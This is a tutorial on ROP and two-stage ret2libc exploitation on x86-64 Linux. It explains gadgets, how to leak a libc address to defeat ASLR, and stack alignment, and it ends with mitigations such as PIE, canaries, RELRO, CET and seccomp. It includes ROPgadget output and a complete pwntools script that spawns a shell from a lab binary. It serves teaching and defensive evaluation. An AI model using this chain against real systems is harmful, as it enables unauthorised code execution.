#Why this matters
When the No-Execute (NX) bit is enabled on a binary, writing raw machine code onto the stack or heap no longer grants code execution because those pages are marked non-executable. When Address Space Layout Randomization (ASLR) is also active on the host, shared libraries such as libc.so.6 load at unpredictable base addresses on every run. Attackers bypass both defences without injecting a single byte of executable code by chaining short instruction sequences already mapped in memory -- a technique called Return-Oriented Programming (ROP).
Mastering ROP and ret2libc is essential for both exploit engineers evaluating memory-corruption impact and defenders validating whether mitigations like Partial RELRO or missing Position-Independent Executable (PIE) flags leave an application exposed.
#Gadgets and the x86-64 calling convention
In a stack buffer overflow without a canary, overwriting the saved return address lets you control rip when the vulnerable function executes ret. Because ret simply pops an 8-byte value from rsp and jumps to it, placing a chain of addresses on the stack turns rsp into a virtual instruction pointer. Each small instruction sequence ending in ret is a gadget.
On Linux x86-64, user-space functions follow the System V AMD64 ABI: the first six integer or pointer arguments go into rdi, rsi, rdx, rcx, r8, and r9, respectively. To call puts(got_puts) or system("/bin/sh"), you first need a gadget that loads rdi from the stack.
| Gadget pattern | Effect on state | Typical use in chain |
|---|---|---|
pop rdi; ret |
Loads 8 bytes from stack into rdi |
Set 1st argument (puts, system) |
pop rsi; pop r15; ret |
Loads rsi and dummy r15 |
Set 2nd argument (write, read) |
ret |
Pops next address, shifts rsp by +8 |
Align stack to 16 bytes before call |
leave; ret |
mov rsp, rbp; pop rbp; ret |
Pivot rsp to a fake stack frame |
You can search an ELF binary for gadgets using ROPgadget or ropper. Notice that x86-64 instructions have variable lengths, so tools often discover useful gadgets starting mid-instruction inside unrelated functions.
$ ROPgadget --binary ./vuln_lab --only "pop|ret" | head -n 8
Gadgets information
============================================================
0x000000000040101a : ret
0x00000000004011fb : pop rbp ; ret
0x000000000040126b : pop rdi ; ret
0x0000000000401269 : pop rsi ; pop r15 ; retWhen pop rsi; pop r15; ret is used, you must supply two 8-byte values on the stack after the gadget address: the desired rsi value followed by any dummy 8-byte padding for r15.
#Breaking ASLR with a two-stage ret2libc chain
If the main binary is compiled without PIE (its own .text and .plt/.got addresses are fixed at 0x400000-range), you know the addresses of gadgets inside the binary, as well as the Procedure Linkage Table (PLT) stubs and Global Offset Table (GOT) slots. However, you still do not know where libc lives in memory because ASLR randomizes shared libraries.
The solution is a two-stage ret2libc chain:
- Stage 1 (Information Leak): Build a ROP chain using fixed binary gadgets to call
puts@plt(puts@got)(orprintf/write), printing the resolved runtime address ofputsinsidelibcback over the socket or stdout. Immediately append the address ofmain(or the vulnerable function) as the return address so the process does not crash after printing. - Stage 2 (Payload Execution): Receive the leaked bytes, unpack the address, and subtract the known offset of
putsin the targetlibc.so.6to findlibc_base. Now every gadget and string insidelibc-- includingsystemand"/bin/sh"-- is at a known address for the second overflow whenmainruns again.
Verify that your computed libc_base ends in 0x000 (page-aligned to 4 KiB). If the lower three hex nibbles are non-zero, either you read the wrong bytes from stdout (such as a leftover newline) or your local libc file does not match the target binary's libc version.
#Stack alignment and pwntools automation
A classic pitfall when calling system() in modern 64-bit libc (Ubuntu 18.04+ / Debian 10+) is crashing inside do_system on an SSE instruction such as movaps xmmword ptr [rsp + 0x50], xmm0. The movaps instruction requires its memory operand to be 16-byte aligned. Normally, a call instruction pushes an 8-byte return address onto a 16-byte aligned stack, so inside the callee rsp % 16 == 8. When your ROP chain jumps straight to system via ret, that extra push may leave rsp % 16 == 8 at the wrong point, causing a SIGSEGV.
Adding a single ret gadget anywhere before system shifts rsp by 8 bytes and restores 16-byte alignment.
from pwn import *
context.binary = elf = ELF("./vuln_lab", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
io = process("./vuln_lab")
offset = 72 # Offset to saved RIP found via cyclic pattern
rop1 = ROP(elf)
rop1.raw(b"A" * offset)
rop1.puts(elf.got["puts"])
rop1.call(elf.symbols["main"])
io.sendlineafter(b"Input: ", rop1.chain())
leak = u64(io.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")
rop2 = ROP([elf, libc])
rop2.raw(b"A" * offset)
rop2.raw(rop2.find_gadget(["ret"]).address) # 16-byte alignment for movaps
rop2.system(next(libc.search(b"/bin/sh\x00")))
io.sendlineafter(b"Input: ", rop2.chain())
io.interactive()Notice how ROP([elf, libc]) lets pwntools resolve gadgets across both the binary and libc once libc.address is set. If vuln_lab uses fgets or scanf("%s"), check every packed address for bad bytes such as 0x0a (newline) or 0x20 (whitespace) that truncate input early.
#Defending and common mistakes
Modern compilers and kernels layer several mitigations to break ROP and ret2libc chains:
- Enable PIE (
-fPIE -pie): Randomizes the binary's own.text,.plt, and.gotaddresses alongsidelibc, preventing hardcoded Stage 1 gadgets without an earlier information leak. - Stack Canaries (
-fstack-protector-strong): Detects contiguous stack buffer overflows beforeretexecutes. - Full RELRO (
-Wl,-z,relro,-z,now): Resolves all GOT entries at startup and maps the GOT read-only (does not stop reading GOT leaks, but blocks GOT overwrites). - Hardware Control-Flow Integrity (Intel CET / ARM PAC): Shadow stacks verify return addresses against a hardware-protected copy, blocking ROP chains outright on supported CPUs.
- Syscall filtering (
seccomp-bpf): Restrictsexecveandexecveatin sandboxed processes so spawning a shell fails even after control-flow hijack.
Common mistakes when building ROP chains:
- Forgetting to handle leftover prompt text or
\nbytes beforeu64(...), corrupting the leaked pointer. - Choosing a gadget or
libcstring containing0x00when exploitingstrcpy, or0x0awhen exploitingfgets/gets. - Missing a
retalignment gadget beforesystem(), leading to an unexplained crash insidemovaps. - Assuming the local
libc.so.6offsets match a remote container without matching the exactlibcbuild ID.
#Summary
- Return-Oriented Programming chains short existing instruction sequences ending in
retto bypass NX without injected shellcode. - On x86-64, arguments must be placed into
rdi,rsi, andrdxusing register-popping gadgets before calling functions. - A two-stage
ret2libcexploit defeats ASLR by leaking a resolved GOT entry, restartingmain, and computing the randomizedlibcbase. - Inserting an extra
retgadget keepsrsp16-byte aligned for SSE instructions insidesystem(), while PIE, stack canaries, CFI, and seccomp raise the bar against exploitation.